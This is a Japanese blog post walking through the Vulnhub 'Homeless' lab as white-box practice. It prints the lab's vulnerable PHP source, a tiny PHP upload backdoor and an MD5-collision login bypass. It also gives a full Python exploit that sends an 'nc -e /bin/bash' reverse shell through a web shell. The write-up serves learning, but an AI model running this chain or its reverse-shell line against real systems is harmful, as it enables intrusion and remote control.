0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【Vulnhub】Homelessをやってみた

Last updated at Posted at 2021-04-24

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Homeless - Authentication Bypass through MD5 Collision Attack]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/homeless/)

#Homeless

  • サーバー名: Homeless: 1
  • リリース日: 2017年1月29日
  • 作者: Creatigon
  • シリーズ: Homeless

#ディレクトリ構造
攻略に関係がないファイルを除外したディレクトリ構造

/var/www/html
├── index.php
├── robots.txt
├── myuploader_priv
│   ├── files
│   │   ├── 887beed152a3e8f946857bade267bb19d159ef59.txt
│   │   ├── index.php
│   │   └── shell.php
│   └── index.php
└── d5fa314e8577e3a7b8534a014b4dcb221de823ad
    ├── admin.php
    ├── index.php
    └── index.php.bak

#ソースコード検証
まずIndex.php。
HTTP USER AGENTはCyber​​dogだけ許可されています。

Index.php
<?php
$u_agent =  $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/Cyberdog/i',$u_agent)){
        echo "Nice Cache!.. Go there.. ";
        echo "myuploader_priv";
}else{
        echo $u_agent;
}
?>

次に/myuploader_priv/index.php。
このファイルではファイルにはアップロード機能があります。

/myuploader_priv/index.php
<?php
if($_SERVER['REQUEST_METHOD'] === "POST" && @$_POST['submit']){
        $filename = $_FILES["upme"]["name"];
    $des = 'files/' . basename($_FILES["upme"]["name"]);
    $filesize = $_FILES['upme']['size'];

    if($filesize > 8){
        echo "Your file is too large " . $filesize;
    }else{
        system("find files ! -name '887beed152a3e8f946857bade267bb19d159ef59.txt' ! -name 'index.php' -type f -exec rm -f {} +");
        if(move_uploaded_file($_FILES['upme']['tmp_name'], $des)){
            echo "File uploaded. Find the secret file on server .. files/".$filename;
        }
    }
}
?>

システムは、アップロード中のファイルを保存する前に、以前にアップロードしたファイルをすべて削除します。
アップロードフェーズでは拡張子やコンテンツのチェックが実行されないため、バックドアをアップロードできそうです。
ただし、ファイルサイズには制限8バイトの制限があります。

<?=`ls` // 7 characters

/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.phpは認証機能を備えたファイルです。

/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php
<?php
if (($username == $password ) or ($username == $code)  or ($password == $code)) {echo 'Your input can not be the same.';}
else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
            echo "Well done!";
            $_SESSION["secret"] = '133720';
            header('Location: admin.php');  

MD5 Collision攻撃が使えそう。
python-md5-collisionツールでMD5 Collisionを生成します。

$ md5sum f*
280329d5f2d5dca79041a4a9d50c2bff *f1
280329d5f2d5dca79041a4a9d50c2bff *f2
280329d5f2d5dca79041a4a9d50c2bff *f3

以下のスクリプトでMD5 CollisionをURLエンコードします。

urlencode.py
#!/usr/bin/python3
import sys
import urllib.parse

if len(sys.argv) < 1:
    print("[-] Missing file name")
else:
    try:    
        with  open(sys.argv[1],'rb') as f:
            contents = f.read()
            url = urllib.parse.quote(contents)
            print("[+] Urlencoded file:")
            print(url)
    except Exception as e:
        print("[-] Could not open file")
        print(e)

urlencode.pyでHTTPPostリクエスト内の各ファイルをエンコードできます。
ファイルを任意の組み合わせてログインができるます。

username=$(python3 urlencode.py f1 | grep -v Urlencoded)
password=$(python3 urlencode.py f2 | grep -v Urlencoded)
code=$(python3 urlencode.py f3 | grep -v Urlencoded)

最後にadmin.phpはWebシェルでした。

admin.php
<?php
if($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['submit'])){
    $cmd = (string)$_POST['command'];
    echo "<pre>";system($cmd);echo "</pred>";
}

?>

#RCE
以下のステップでシェルを奪います。

  • MD5 Collisionで認証バイパス
  • admin.php(Webシェル)で、リバースシェルを受け取る。
exploit.py
#!/usr/bin/python3

import requests
import argparse
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import os, sys, re
import binascii
import string, hashlib, time

def proxy(flag):
    return {"http" : "http://127.0.0.1:8080", "https" : "http://127.0.0.1:8080"} if flag else None

def geturl(target=None, type=None):
    if type == "login":
        return "http://" + target + "/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php"
    elif type == "admin":
        return "http://" + target + "/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php"
    else:
        return None
        
def setup_listener(lport):
    print("[+] Setting up listener")
    try:
        if os.name == "nt":
            subprocess.Popen("start cmd /c nc.exe -lvp " + lport, shell=True)
        else:
            subprocess.Popen("gnome-terminal -- nc -lvkkp" + lport + "2>/dev/null", shell=True)
        time.sleep(1)
    except:
        print("[-] Could not setup listener")
        return False
    finally:
        return True
        
def md5_collisions():
    try:    
        with open("f1", "rb") as f1, open("f2", "rb") as f2, open("f3", "rb") as f3:
            try:
                return (urllib.parse.quote(f1.read()), urllib.parse.quote(f2.read()), urllib.parse.quote(f3.read()))
            except:
                print("[-] Cannot encode collisions files")
                sys.exit()
    except:
        print("[-] Cannot find md5 collisions files: f1, f2, f3")
        sys.exit()
        
def login(target, proxy):
    url = geturl(target,"login")
    username, password, code = md5_collisions()
    headers= { "Content-Type" : "application/x-www-form-urlencoded"}
    data = "username={}&password={}&code={}&login=Login".format( username, password, code)
    res = requests.post(url, headers=headers, data=data, proxies=proxy, allow_redirects=False, verify=False)
    if re.search(r"Well.*done",res.text):
        print("[+] Logged in successfully")
        return res.cookies
    else:
        return None

def revshell(target, lhost, lport, cookies, proxy):
    url = geturl(target,"admin")
    data = {"command": "nc -e /bin/bash {} {}".format(lhost,lport), "submit": "Invia richiesta"}
    try:
        requests.post(url, cookies=cookies, data=data, proxies=proxy, allow_redirects=False, verify=False, timeout=2)
    except requests.exceptions.ReadTimeout:
        return True
    except:
        raise


def exploit(target, lhost, lport, proxy):
    cookies = login(target, proxy)
    if not cookies:
        print("[-] Could not login")
        sys.exit()
    if setup_listener(lport):
        try:
            revshell(target, lhost, lport, cookies, proxy)
        except:
            print("[+] Reverse shell failed to open")
        
def main():
    parser = argparse.ArgumentParser(description='Upload a shell in ATutor')
    
    parser.add_argument(
        '-H', '--lhost', required=True, type=str, help='Local Listener IP Address')
    parser.add_argument(
        '-P', '--lport', required=True, type=str, default="443", help='Local Listener Port')
    parser.add_argument(
        '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')
    parser.add_argument(
        '-t', '--target', required=True, type=str, default=None, help='Homeless IP or domain')

    args = parser.parse_args()
    exploit(args.target, args.lhost, args.lport, proxy(args.proxy))

if __name__ == '__main__':
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    main()

エクスプロイトを実行して、リバースシェルをキャッチ。

python exploit.py -t homeless.local -H MY_IP_ADDRESSS -P 4444 -x
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?